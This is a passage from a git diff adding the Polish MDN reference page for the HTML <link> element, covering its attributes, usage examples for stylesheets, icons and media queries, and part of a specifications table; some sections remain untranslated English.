+</li><li> <a href="pl/HTML/Element/ul">Znacznik <code>ul</code> (lista nieuporządkowana)</a>
+</li><li> <a href="pl/CSS/list-style">Własność CSS <code>list-style</code></a>
+</li><li> <a href="pl/Liczniki_CSS">Liczniki CSS</a>
+</li></ul>
+<p>{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/li" } ) }}
diff --git a/files/pl/web/html/element/link/index.html b/files/pl/web/html/element/link/index.html
new file mode 100644
index 0000000000..d853ed10c3
--- /dev/null
+++ b/files/pl/web/html/element/link/index.html
@@ -0,0 +1,412 @@
+---
+title: '<link>: Element Łącza Zasobów Zewnętrznych'
+slug: Web/HTML/Element/link
+tags:
+ - Element
+ - HTML
+ - HTML metadane dokumentu
+ - Link
+ - Reference
+ - Web
+ - Web Performance
+ - metadane
+translation_of: Web/HTML/Element/link
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>Element Łącza Zasobów Zewnętrznych (<code>&lt;link&gt;</code>)</strong> określa relacje między aktualnym dokumentem a zewnętrznym zasobem. Ten element jest najczęściej używany do linkowania do {{Glossary("CSS", "arkuszy stylów")}}, ale jest również używany między innymi do tworzenia ikon strony (zarówno ikony typu "favicon", jak i ikon dla ekranu głównego i aplikacji na urządzeniach mobilnych).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/link.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>Aby połączyć zewnętrzny arkusz stylów, umieść element <code>&lt;link&gt;</code> wewnątrz swojego {{HTMLElement("head")}} w ten sposób:</p>
+
+<pre class="brush: html no-line-numbers">&lt;link href="main.css" rel="stylesheet"&gt;</pre>
+
+<p>Ten prosty przykład podaje ścieżkę do arkusza stylów wewnątrz atrybutu <code>href</code> oraz atrybut <code>rel</code> z wartością <code>stylesheet</code>. <code>rel</code> oznacza "relację" i jest prawdopodobnie jedną z kluczowych cech elementu <code>&lt;link&gt;</code> - wartość oznacza sposób, w jaki element, z którym jest powiązany, jest powiązany z dokumentem źródłowym. Jak zobaczysz z naszego odwołania do <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTML/Link_types">typów odnośników</a>, istnieje wiele różnych rodzajów relacji.</p>
+
+<p>Jest wiele innych popularnych typów, na które można się natknąć. Na przykład link do favicon na stronie:</p>
+
+<pre class="brush: html no-line-numbers">&lt;link rel="icon" href="favicon.ico"&gt;</pre>
+
+<p>Istnieje szereg innych wartości <code>rel</code> ikon, używanych głównie do wskazywania specjalnych typów ikon do wykorzystania na różnych platformach mobilnych, np.:</p>
+
+<pre class="brush: html no-line-numbers">&lt;link rel="apple-touch-icon-precomposed" sizes="114x114"
+ href="apple-icon-114.png" type="image/png"&gt;</pre>
+
+<p>Atrybut <code>sizes</code> oznacza rozmiar ikony, a <code>type</code> zawiera typ MIME łączonego zasobu. Dostarczają one użytecznych wskazówek, które pozwalają przeglądarce na wybór najbardziej odpowiedniej dostępnej ikony.</p>
+
+<p>Możesz również podać typ nośnika lub zapytanie wewnątrz atrybutu <code>media</code>; zasób ten zostanie załadowany tylko wtedy, gdy stan nośnika jest prawdziwy. Na przykład:</p>
+
+<pre class="brush: html no-line-numbers">&lt;link href="print.css" rel="stylesheet" media="print"&gt;
+&lt;link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"&gt;</pre>
+
+<p>Do elementu <code>&lt;link&gt;</code> dodano również kilka interesujących nowych funkcji wydajności i zabezpieczeń. Weźmy ten przykład:</p>
+
+<pre class="brush: html no-line-numbers">&lt;link rel="preload" href="myFont.woff2" as="font"
+ type="font/woff2" crossorigin="anonymous"&gt;</pre>
+
+<p>Wartość <code>rel</code> dla <code>preload</code> wskazuje, że przeglądarka powinna wstępnie załadować ten zasób (więcej szczegółów w sekcji <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTML/Preloading_content">Wstępne załadowanie zawartości z rel="preload"</a>), z atrybutem <code>as</code> wskazującym konkretną klasę pobieranej zawartości. Atrybut crossorigin wskazuje, czy zasób powinien być pobierany z żądaniem {{Glossary("CORS")}}.</p>
+
+<p>Pozostałe uwagi dotyczące zastosowania:</p>
+
+<ul>
+ <li>Element <code>&lt;link&gt;</code> może występować w elemencie {{HTMLElement("head")}} lub {{HTMLElement("body")}}, w zależności od tego, czy ma on <a href="https://html.spec.whatwg.org/multipage/links.html#body-ok">typ połączenia</a>, który jest <strong>body-ok</strong>. Na przykład, typ linku <code>stylesheet</code> jest body-ok, a zatem <code>&lt;link rel="stylesheet"&gt;</code> jest dozwolony w body. Jednakże nie jest to dobra praktyka do naśladowania; bardziej sensowne jest oddzielenie elementów <code>&lt;link&gt;</code> od zawartości, umieszczając je w <code>&lt;head&gt;</code>.</li>
+ <li>Kiedy używasz <code>&lt;link&gt;</code> do utworzenia favicon dla witryny, a Twoja strona używa Content Security Policy (CSP) w celu zwiększenia jej bezpieczeństwa, polityka ta ma zastosowanie do favicon. Jeśli napotkasz problemy z załadowaniem favicon, sprawdź, czy dyrektywa <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTTP/Headers/Content-Security-Policy/img-src">dyrektywa <code>img-src</code></a> nagłówka {{HTTPHeader("Content-Security-Policy")}} nie uniemożliwia dostępu do niego.</li>
+ <li>Specyfikacje HTML i XHTML definiują obsługę zdarzeń dla elementu <code>&lt;link&gt;</code>, ale nie jest jasne, jak miałyby być one wykorzystywane.</li>
+ <li>W XHTML 1.0 puste elementy, takie jak <code>&lt;link&gt;</code> wymagają ukośnika: <code>&lt;link /&gt;</code>.</li>
+ <li>WebTV wspiera użycie wartości <code>next</code> dla atrybutu <code>rel</code>, w celu wstępnego załadowania następnej strony w serii dokumentów.</li>
+</ul>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Ten element uwzględnia <a href="/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p>
+
+<dl>
+ <dt>{{HTMLAttrDef("as")}}</dt>
+ <dd>Ten atrybut jest używany tylko wtedy, gdy na elemencie <code>&lt;link&gt;</code> ustawiono <code>rel="preload"</code> lub <code>rel="prefetch"</code>. Określa on typ zawartości załadowanej przez <code>&lt;link&gt;</code>, który jest niezbędny do dopasowania żądania, zastosowania poprawnej <a href="/pl/docs/Web/HTTP/CSP">polityki bezpieczeństwa zawartości</a>, oraz ustawienie poprawnego żądania nagłówka {{HTTPHeader("Accept")}}. Co więcej, <code>rel="preload"</code> wykorzystuje to jako sygnał do nadania priorytetu żądaniu. Poniższa tabela zawiera ważne wartości dla tego atrybutu oraz elementy lub zasoby, do których się odnoszą.</dd>
+ <dd>
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Wartość</th>
+ <th scope="col">Dotyczy</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>audio</td>
+ <td>elementów <code>&lt;audio&gt;</code></td>
+ </tr>
+ <tr>
+ <td>document</td>
+ <td>elementów <code>&lt;iframe&gt;</code> oraz <code>&lt;frame&gt;</code></td>
+ </tr>
+ <tr>
+ <td>embed</td>
+ <td>elementów <code>&lt;embed&gt;</code></td>
+ </tr>
+ <tr>
+ <td>fetch</td>
+ <td>
+ <p>fetch, XHR</p>
+
+ <div class="blockIndicator note">
+ <p>Ta wartość wymaga również, aby <code>&lt;link&gt;</code> zawierał atrybut crossorigin.</p>
+ </div>
+ </td>
+ </tr>
+ <tr>
+ <td>font</td>
+ <td>CSS @font-face</td>
+ </tr>
+ <tr>
+ <td>image</td>
+ <td>elementy <code>&lt;img&gt;</code> oraz <code>&lt;picture&gt;</code> z atrybutami srcset lub imageset, elementy SVG <code>&lt;image&gt;</code>, reguły CSS <code>*-image</code></td>
+ </tr>
+ <tr>
+ <td>object</td>
+ <td>elementy <code>&lt;object&gt;</code></td>
+ </tr>
+ <tr>
+ <td>script</td>
+ <td>elementy <code>&lt;script&gt;</code>, Worker <code>importScripts</code></td>
+ </tr>
+ <tr>
+ <td>style</td>
+ <td>elementy <code>&lt;link rel=stylesheet&gt;</code>, CSS <code>@import</code></td>
+ </tr>
+ <tr>
+ <td>track</td>
+ <td>elementy <code>&lt;track&gt;</code></td>
+ </tr>
+ <tr>
+ <td>video</td>
+ <td>elementy <code>&lt;video&gt;</code></td>
+ </tr>
+ <tr>
+ <td>worker</td>
+ <td>Worker, SharedWorker</td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+ <dt>{{HTMLAttrDef("crossorigin")}}</dt>
+ <dd>Ten wymieniony atrybut wskazuje, czy przy pobieraniu zasobów należy zastosować {{Glossary("CORS")}}. <a href="/pl/docs/Web/HTML/CORS_Enabled_Image">Obrazy wyposażone w CORS</a> mogą być ponownie użyte w elemencie {{HTMLElement("canvas")}} bez ich <em>skażenia</em>. Dozwolone są następujące wartości:
+ <dl>
+ <dt><code>anonymous</code></dt>
+ <dd>Wykonywane jest żądanie krzyżowe (tj. z nagłówkiem HTTP {{HTTPHeader("Origin")}}) ale nie jest wysyłane żadne poświadczenie (tj. nie jest wysyłany żaden plik cookie, certyfikat X.509 ani uwierzytelnienie HTTP Basic). Jeśli serwer nie przekaże danych uwierzytelniających do strony pochodzenia (nie ustawiając nagłówka HTTP {{HTTPHeader("Access-Control-Allow-Origin")}}) zasób zostanie skażony, a jego wykorzystanie ograniczone.</dd>
+ <dt><code>use-credentials</code></dt>
+ <dd>Wykonywane jest żądanie krzyżowe (tj. z nagłówkiem HTTP <code>Origin</code>) wraz z przesłanym poświadczeniem (tj. cookie, certyfikat, i/lub uwierzytelnienie HTTP Basic). Jeśli serwer nie przekaże danych uwierzytelniających do strony pochodzenia (poprzez nagłówek HTTP {{HTTPHeader("Access-Control-Allow-Credentials")}}), zasób zostanie skażony, a jego wykorzystanie ograniczone.</dd>
+ </dl>
+ Jeśli atrybut nie jest obecny, zasób jest pobierany bez żądania {{Glossary("CORS")}} (tj. bez wysyłania nagłówka HTTP <code>Origin</code>), co uniemożliwia jego bezpieczne użytkowanie. Jeśli jest nieprawidłowy, jest traktowany tak, jakby użyte zostało słowo kluczowe <strong>anonymous</strong>. Dodatkowe informacje znajdują się w części <a href="/pl/docs/Web/HTML/Attributes/crossorigin">atrybuty ustawień CORS</a>.</dd>
+ <dt>{{HTMLAttrDef("disabled")}}</dt>
+ <dd>
+ <p>Tylko w przypadku <code>rel="stylesheet"</code>, atrybut logiczny <code>disabled</code> wskazuje, czy opisany arkusz stylów powinien zostać załadowany i zastosowany w dokumencie. Jeśli atrybut <code>disabled</code> jest określony w HTML podczas ładowania, arkusz stylów nie zostanie wczytany podczas ładowania strony. Zamiast tego arkusz stylów zostanie załadowany na żądanie, jeśli i kiedy atrybut <code>disabled</code> zostanie zmieniony na <code>false</code> lub usunięty.</p>
+
+ <p>Jednak po załadowaniu arkusza stylów zmiany wartości właściwości <code>disabled</code> nie mają już żadnego związku z wartością właściwości {{domxref("StyleSheet.disabled")}}. Zamiast tego zmiana wartości tej właściwości po prostu włącza i wyłącza formularz arkusza stylów zastosowany w dokumencie.</p>
+
+ <p>Różni się ona od wartości <code>disabled</code> właściwości <code>StyleSheet</code>; zmiana jej na <code>true</code> powoduje usunięcie arkusza stylów z listy {{domxref("document.styleSheets")}} i nie powoduje automatycznego przeładowania aruksza stylów po ponownym przełączeniu go na  <code>false</code>.</p>
+ </dd>
+ <dt>{{HTMLAttrDef("href")}}</dt>
+ <dd>Ten atrybut określa adres {{glossary("URL")}} powiązanego zasobu. Adres URL może być bezwzględny lub względny.</dd>
+ <dt>{{HTMLAttrDef("hreflang")}}</dt>
+ <dd>Ten atrybut określa język powiązanego zasobu. Ma on charakter wyłącznie doradczy. Dozwolone wartości są określone przez <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a>. Tego atrybutu używa się tylko wtedy, gdy występuje atrybut {{HTMLAttrxRef("href", "a")}}.</dd>
+ <dt id="name-attribute">{{HTMLAttrDef("importance")}} {{Experimental_Inline}}</dt>
+ <dd>Wskazuje na względne znaczenie zasobu. Piorytetowe podpowiedzi są delegowane za pomocą wartości:</dd>
+ <dd>
+ <p><strong><code>auto</code></strong>: Oznacza <strong>brak preferencji</strong>. Przeglądarka może korzystać z własnej heurystyki, aby zdecydować o priorytecie zasobu.</p>
+
+ <p><strong><code>high</code></strong>: Wskazuje przeglądarce, że zasób ma <strong>wysoki</strong> priorytet.</p>
+
+ <p><strong><code>low</code></strong>: Wskazuje przeglądarce, że zasób ma <strong>niski</strong> priorytet.</p>
+
+ <div class="blockIndicator note">
+ <p><strong>Uwaga: </strong>Atrybut <code>importance</code> może być użyty dla elementu <code>&lt;link&gt;</code> tylko wtedy, gdy występuje <code>rel="preload"</code> lub <code>rel="prefetch"</code>.</p>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("integrity")}} {{Experimental_Inline}}</dt>
+ <dd>Zawiera liniowe metadane - kryptograficzny hash zasobów (plików), które każesz pobrać przeglądarce, zakodowany w base64. Przeglądarka może wykorzystać to do sprawdzenia, czy pobrany zasób został dostarczony bez nieoczekiwanych manipulacji. Zobacz rozdział <a href="/pl/docs/Web/Bezpiecze%C5%84stwo/Subresource_Integrity">Integralność Podzasobów</a>.</dd>
+ <dt>{{HTMLAttrDef("media")}}</dt>
+ <dd>Ten atrybut określa media, do których odnoszą się powiązane zasoby. Jego wartość musi mieć typ media / <a href="/pl/docs/Web/CSS/Media_Queries">żądania media</a>. Atrybut ten jest przydatny głównie przy łączeniu z zewnętrznymi arkuszami stylów — pozwala on agentowi użytkownika wybrać ten najlepiej dostosowany do urządzenia, na którym działa.
+ <div class="blockIndicator note">
+ <p><strong>Uwagi:</strong></p>
+
+ <ul>
+ <li>W HTML 4, może to być tylko prosta lista oddzielonych od siebie spacjami dosłownych opisów mediów, tj. <a href="/pl/docs/Web/CSS/@media">typów i grup mediów</a>, gdzie zdefiniowane i dozwolone są wartości tego atrybutu, takie jak <code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>. HTML5 rozszerzył to na wszelkiego rodzaju <a href="/pl/docs/Web/CSS/Media_Queries">zapytania media</a>, które są uzupełnieniem dozwolonych wartości HTML 4.</li>
+ <li>Przeglądarki nie obsługujące <a href="/pl/docs/Web/CSS/Media_Queries">Żądań Media w CSS3</a> niekoniecznie rozpoznają odpowiedni link; nie należy zapominać o ustawieniu linków awaryjnych, ograniczonego zestawu zapytań media zdefiniowanych w HTML 4.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("referrerpolicy")}} {{Experimental_Inline}}</dt>
+ <dd>A string indicating which referrer to use when fetching the resource:
+ <ul>
+ <li><code>no-referrer</code> means that the {{HTTPHeader("Referer")}} header will not be sent.</li>
+ <li><code>no-referrer-when-downgrade</code> means that no {{HTTPHeader("Referer")}} header will be sent when navigating to an origin without TLS (HTTPS). This is a user agent’s default behavior, if no policy is otherwise specified.</li>
+ <li><code>origin</code> means that the referrer will be the origin of the page, which is roughly the scheme, the host, and the port.</li>
+ <li><code>origin-when-cross-origin</code> means that navigating to other origins will be limited to the scheme, the host, and the port, while navigating on the same origin will include the referrer's path.</li>
+ <li><code>unsafe-url</code> means that the referrer will include the origin and the path (but not the fragment, password, or username). This case is unsafe because it can leak origins and paths from TLS-protected resources to insecure origins.</li>
+ </ul>
+ </dd>
+ <dt>{{HTMLAttrDef("rel")}}</dt>
+ <dd>This attribute names a relationship of the linked document to the current document. The attribute must be a space-separated list of <a href="/en-US/docs/Web/HTML/Link_types">link type values</a>.</dd>
+ <dt>{{HTMLAttrDef("sizes")}}</dt>
+ <dd>This attribute defines the sizes of the icons for visual media contained in the resource. It must be present only if the {{HTMLAttrxRef("rel", "link")}} contains a value of <code>icon</code> or a non-standard type such as Apple's <code>apple-touch-icon</code>. It may have the following values:
+ <ul>
+ <li><code>any</code>, meaning that the icon can be scaled to any size as it is in a vector format, like <code>image/svg+xml</code>.</li>
+ <li>a white-space separated list of sizes, each in the format <code><em>&lt;width in pixels&gt;</em>x<em>&lt;height in pixels&gt;</em></code> or <code><em>&lt;width in pixels&gt;</em>X<em>&lt;height in pixels&gt;</em></code>. Each of these sizes must be contained in the resource.</li>
+ </ul>
+
+ <div class="blockIndicator note">
+ <p><strong>Note: </strong>Most icon formats are only able to store one single icon; therefore most of the time the {{HTMLAttrxRef("sizes")}} attribute contains only one entry. MS's ICO format does, as well as Apple's ICNS. ICO is more ubiquitous, so you should use this format if cross-browser support is a concern (especially for old IE versions).</p>
+ </div>
+ </dd>
+ <dt>{{HTMLAttrDef("title")}}</dt>
+ <dd>The <code>title</code> attribute has special semantics on the <code>&lt;link&gt;</code> element. When used on a <code>&lt;link rel="stylesheet"&gt;</code> it defines a <a href="/en-US/docs/Web/CSS/Alternative_style_sheets">preferred or an alternate stylesheet</a>. Incorrectly using it may <a href="/en-US/docs/Correctly_Using_Titles_With_External_Stylesheets">cause the stylesheet to be ignored</a>.</dd>
+ <dt>{{HTMLAttrDef("type")}}</dt>
+ <dd>This attribute is used to define the type of the content linked to. The value of the attribute should be a MIME type such as <strong>text/html</strong>, <strong>text/css</strong>, and so on. The common use of this attribute is to define the type of stylesheet being referenced (such as <strong>text/css</strong>), but given that CSS is the only stylesheet language used on the web, not only is it possible to omit the <code>type</code> attribute, but is actually now recommended practice. It is also used on <code>rel="preload"</code> link types, to make sure the browser only downloads file types that it supports.</dd>
+</dl>
+
+<h3 id="Non-standard_attributes">Non-standard attributes</h3>
+
+<dl>
+ <dt>{{HTMLAttrDef("methods")}} {{Non-standard_Inline}}</dt>
+ <dd>The value of this attribute provides information about the functions that might be performed on an object. The values generally are given by the HTTP protocol when it is used, but it might (for similar reasons as for the <strong>title</strong> attribute) be useful to include advisory information in advance in the link. For example, the browser might choose a different rendering of a link as a function of the methods specified; something that is searchable might get a different icon, or an outside link might render with an indication of leaving the current site. This attribute is not well understood nor supported, even by the defining browser, Internet Explorer 4.</dd>
+ <dt>{{HTMLAttrDef("prefetch")}} {{Non-standard_Inline}} {{secureContext_inline}}</dt>
+ <dd>This attribute identifies a resource that might be required by the next navigation and that the user agent should retrieve it. This allows the user agent to respond faster when the resource is requested in the future.</dd>
+ <dt>{{HTMLAttrDef("target")}} {{Non-standard_Inline}}</dt>
+ <dd>Defines the frame or window name that has the defined linking relationship or that will show the rendering of any linked resource.</dd>
+</dl>
+
+<h3 id="Obsolete_attributes">Obsolete attributes</h3>
+
+<dl>
+ <dt>{{HTMLAttrDef("charset")}} {{Obsolete_Inline}}</dt>
+ <dd>This attribute defines the character encoding of the linked resource. The value is a space- and/or comma-delimited list of character sets as defined in {{rfc(2045)}}. The default value is <code>iso-8859-1</code>.
+ <div class="note"><strong>Usage note:</strong> To produce the same effect as this obsolete attribute, use the {{HTTPHeader("Content-Type")}} HTTP header on the linked resource.</div>
+ </dd>
+ <dt>{{HTMLAttrDef("rev")}} {{Obsolete_Inline}}</dt>
+ <dd>The value of this attribute shows the relationship of the current document to the linked document, as defined by the {{HTMLAttrxRef("href", "link")}} attribute. The attribute thus defines the reverse relationship compared to the value of the <code>rel</code> attribute. <a href="/en-US/docs/Web/HTML/Link_types">Link type values</a> for the attribute are similar to the possible values for {{HTMLAttrxRef("rel", "link")}}.</dd>
+ <dd>
+ <div class="blockIndicator note">
+ <p><strong>Note:</strong> This attribute is considered obsolete by the WHATWG HTML living standard (which is the specification MDN treats as canonical). However, it's worth noting that <code>rev</code> is <em>not</em> considered obsolete in the W3C specification. That said, given the uncertainty, relying on <code>rev</code> is unwise.</p>
+
+ <p>Instead, you should use the {{HTMLAttrxRef("rel", "link")}} attribute with the opposite <a href="/en-US/docs/Web/HTML/Link_types">link type value</a>. For example, to establish the reverse link for <code>made</code>, specify <code>author</code>. Also this attribute doesn't stand for "revision" and must not be used with a version number, even though many sites misuse it in this way.</p>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>charset</dt>
+ <dd>Ten atrybut określa zestaw znaków używanych przez linkowany dokument. Dozwolonymi wartościami dla tego atrybutu są nazwy zestawu znaków, takie jak EUC-JP, zdefiniowane w <a class="external" href="http://tools.ietf.org/html/rfc2045" title="http://tools.ietf.org/html/rfc2045">RFC 2045</a>.</dd>
+</dl>
+
+<dl>
+ <dt>media</dt>
+ <dd>Ten atrybut określa docelowe medium dla jakiś linkowanych informacji o stylach, które określono, kiedy atrybut <code>rel</code> jest ustawiony na <code>stylesheet</code>. Wartością tego atrybutu może być być pojedyncze określenie medium, jak <code>screen</code>, lub lista rozdzielona przecinkami. Możliwymi wartościami tego atrybutu <code>all</code>, <code>aural</code>, <code>braille</code>, <code>print</code>, <code>projection</code> oraz <code>screen</code>. Mogą być również zdefiniowane inne wartości, zależnie od przeglądarki. Internet Explorer wspiera <code>all</code>, <code>print</code> oraz <code>screen</code> jako wartości tego atrybutu.</dd>
+</dl>
+
+<dl>
+ <dt>rel</dt>
+ <dd>Ten atrybut nazywa relacje między linkowanym dokumentem a dokumentem aktualnym. Możliwe wartości dla tego atrybutu zawierają <code>alternate</code>, <code>bookmark</code>, <code>chapter</code>, <code>contents</code>, <code>copyright</code>, <code>glossary</code>, <code>help</code>, <code>index</code>, <code>next</code>, <code>prev</code>, <code>section</code>, <code>start</code>, <code>stylesheet</code> oraz <code>subsection</code>. Najbardziej powszechnym użyciem tego atrybutu jest określanie linku do zewnętrznego arkusza stylów. Atrybut <code>rel</code> jest ustawiany na <code>stylesheet</code>, zaś atrybut <code>href</code> jest ustawiany na URL zewnętrznego arkusza stylów w celu formatowania strony. WebTV wspiera również użycie wartości <code>next</code> dla <code>rel</code> dla wstępnego załadowania następnej strony w serii dokumentów.</dd>
+</dl>
+
+<dl>
+ <dt>rev</dt>
+ <dd>Wartość atrybutu <code>rev</code> pokazuje relację aktualnego dokumentu do dokumentu linkowanego, zdefiniowanego przez atrybut <code>href</code>. Atrybut w ten sposób definiuje odwróconą relację w porównaniu do wartości atrybutu <code>rel</code>. Wartości dla atrybutu <code>rev</code> są podobne do możliwych wartości atrybutu <code>rel</code>. Mogą zawierać <code>alternate</code>, <code>bookmark</code>, <code>chapter</code>, <code>contents</code>, <code>copyright</code>, <code>glossary</code>, <code>help</code>, <code>index</code>, <code>next</code>, <code>prev</code>, <code>section</code>, <code>start</code>, <code>stylesheet</code> oraz <code>subsection</code>.</dd>
+</dl>
+
+<dl>
+ <dt>target</dt>
+ <dd>Wartość atrybutu <code>target</code> jest używana do definiowania nazwy ramki lub okna, które ma zdefiniowaną relację linkowania lub które pokaże wyświetlenie jakiegoś zlinkowanego zasobu.</dd>
+</dl>
+
+<dl>
+ <dt>type</dt>
+ <dd>Ten atrybut jest używany do definiowania typu zawartości, do której prowadzi link. Wartość tego atrybutu powinna być typem <code>MIME</code> takim jak <code>text/html</code>, <code>text/css</code> i tak dalej. Powszechnym użyciem tego atrybutu jest definiowanie zlinkowanego arkusza stylów i najbardziej powszechną obecnie wartością jest <code>text/css</code>, która wskazuje format Kaskadowych Arkuszy Stylów.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Łączenie_z_arkuszem_stylów">Łączenie z arkuszem stylów</h3>
+
+<p>Aby dołączyć arkusz stylów do strony, użyj następującej składni:</p>
+
+<pre class="brush: html no-line-numbers">&lt;link href="style.css" rel="stylesheet"&gt;
+</pre>
+
+<h3 id="Dostarczanie_alternatywnych_arkuszy_stylów">Dostarczanie alternatywnych arkuszy stylów</h3>
+
+<p>Można również określić <a href="/pl/docs/Web/CSS/Alternative_style_sheets">alternatywne arkusze stylów</a>.</p>
+
+<p>Użytkownik może wybrać, który arkusz stylów ma być użyty, wybierając go z menu Widok &gt; Styl strony. Dzięki temu użytkownik może zobaczyć wiele wersji strony.</p>
+
+<pre class="brush: html no-line-numbers">&lt;link href="default.css" rel="stylesheet" title="Domyślny Styl"&gt;
+&lt;link href="fancy.css" rel="alternate stylesheet" title="Efektowny"&gt;
+&lt;link href="basic.css" rel="alternate stylesheet" title="Podstawowy"&gt;
+</pre>
+
+<h3 id="Dostarczanie_ikon_dla_różnych_zastosowań">Dostarczanie ikon dla różnych zastosowań</h3>
+
+<p>Możesz umieścić linki do kilku różnych ikon na tej samej stronie, a przeglądarka wybierze, która z nich najlepiej pasuje do danego kontekstu, używając jako podpowiedzi wartości <code>rel</code> oraz <code>sizes</code>.</p>
+
+<pre class="brush: html no-line-numbers">&lt;!-- iPad trzeciej generacji z wyświetlaczem Retina wysokiej rozdzielczości: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="144x144" href="favicon144.png"&gt;
+&lt;!-- iPhone z wyświetlaczem Retina wysokiej rozdzielczości: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="114x114" href="favicon114.png"&gt;
+&lt;!-- iPad pierwszej i drugiej generacji: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" sizes="72x72" href="favicon72.png"&gt;
+&lt;!-- urządzenia iPhone bez wyświetlacza Retina, iPod Touch i Android 2.1+: --&gt;
+&lt;link rel="apple-touch-icon-precomposed" href="favicon57.png"&gt;
+&lt;!-- podstawowy favicon --&gt;
+&lt;link rel="icon" href="favicon32.png"&gt;</pre>
+
+<h3 id="Warunkowe_ładowanie_zasobów_z_zapytaniami_media">Warunkowe ładowanie zasobów z zapytaniami media</h3>
+
+<p>Możesz podać typ nośnika lub zapytanie wewnątrz atrybutu <code>media</code>; zasób ten zostanie załadowany tylko wtedy, gdy stan nośnika jest prawdziwy. Na przykład:</p>
+
+<pre class="brush: html no-line-numbers">&lt;link href="print.css" rel="stylesheet" media="print"&gt;
+&lt;link href="mobile.css" rel="stylesheet" media="all"&gt;
+&lt;link href="desktop.css" rel="stylesheet" media="screen and (min-width: 600px)"&gt;
+&lt;link href="highres.css" rel="stylesheet" media="screen and (min-resolution: 300dpi)"&gt;
+</pre>
+
+<h3 id="Zdarzenia_z_udziałem_arkusza_stylów">Zdarzenia z udziałem arkusza stylów</h3>
+
+<p>Można określić kiedy arkusz stylów został załadowany, obserwując, czy wystąpiło na nim zdarzenie <code>load</code>; podobnie, można wykryć, czy podczas przetwarzania arkusza stylów wystąpił błąd, obserwując, czy wystąpiło zdarzenie <code>error</code>:</p>
+
+<pre class="brush: html">&lt;script&gt;
+var myStylesheet = document.querySelector('#my-stylesheet');
+
+myStylesheet.onload = function() {
+ // Zrób coś ciekawego; arkusz został załadowany
+}
+
+myStylesheet.onerror = function() {
+ console.log("Wystąpił błąd podczas ładowania arkusza stylów!");
+}
+&lt;/script&gt;
+
+&lt;link rel="stylesheet" href="mystylesheet.css" id="my-stylesheet"&gt;
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Uwaga:</strong> Zdarzenie <code>load</code> zostaje wywołane, gdy arkusz stylów i cała jego zaimportowana zawartość zostanie załadowana i przetworzona, a także bezpośrednio przed zastosowaniem stylów do zawartości.</p>
+</div>
+
+<h3 id="Przykłady_wstępnego_ładowania">Przykłady wstępnego ładowania</h3>
+
+<p>Możesz znaleźć szereg przykładów z <code>&lt;link rel="preload"&gt;</code> w sekcji <a href="/pl/docs/Web/HTML/Preloading_content">Wstępne załadowanie zawartości z <code>rel="preload"</code></a>.</p>
+
+<h2 id="Podsumowanie_techniczne">Podsumowanie techniczne</h2>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th><a href="/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th>
+ <td>Zawartość metadanych. Jeśli <code><a href="/pl/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code> jest obecny: <a href="/pl/docs/Web/Guide/HTML/Content_categories#Flow_content">Zawartość przepływu</a> i <a href="/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Zawartość frazowania</a>.</td>
+ </tr>
+ <tr>
+ <th>Dozwolona zawartość</th>
+ <td>Brak, to jest {{Glossary("empty element", "pusty element")}}.</td>
+ </tr>
+ <tr>
+ <th>Pominięcie znacznika</th>
+ <td>Ponieważ jest to pusty element, znacznik otwierający musi być obecny, a znacznik zamykający nie może być obecny.</td>
+ </tr>
+ <tr>
+ <th>Dozwoleni rodzice</th>
+ <td>Każdy element, który akceptuje elementy metadanych. Jeśli <a href="/pl/docs/Web/HTML/Global_attributes/itemprop">itemprop</a> jest obecny: każdy element, który akceptuje <a href="/pl/docs/Web/Guide/HTML/Content_categories#Phrasing_content">zawartość frazowania</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwolone role ARIA</th>
+ <td>Brak</td>
+ </tr>
+ <tr>
+ <th>Interfejs DOM</th>
+ <td>{{DOMxRef("HTMLLinkElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "semantics.html#the-link-element", "&lt;link&gt;")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>Brak zmian w stosunku do ostatniego wydania</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "document-metadata.html#the-link-element", "&lt;link&gt;")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>Dodano atrybuty <code>corssorigin</code> oraz <code>sizes</code>; rozszerzono wartość <code>media</code> do dowolnych zapytań media; dodano wiele nowych wartości dla <code>rel</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML4.01", "struct/links.html#h-12.3", "&lt;link&gt;")}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
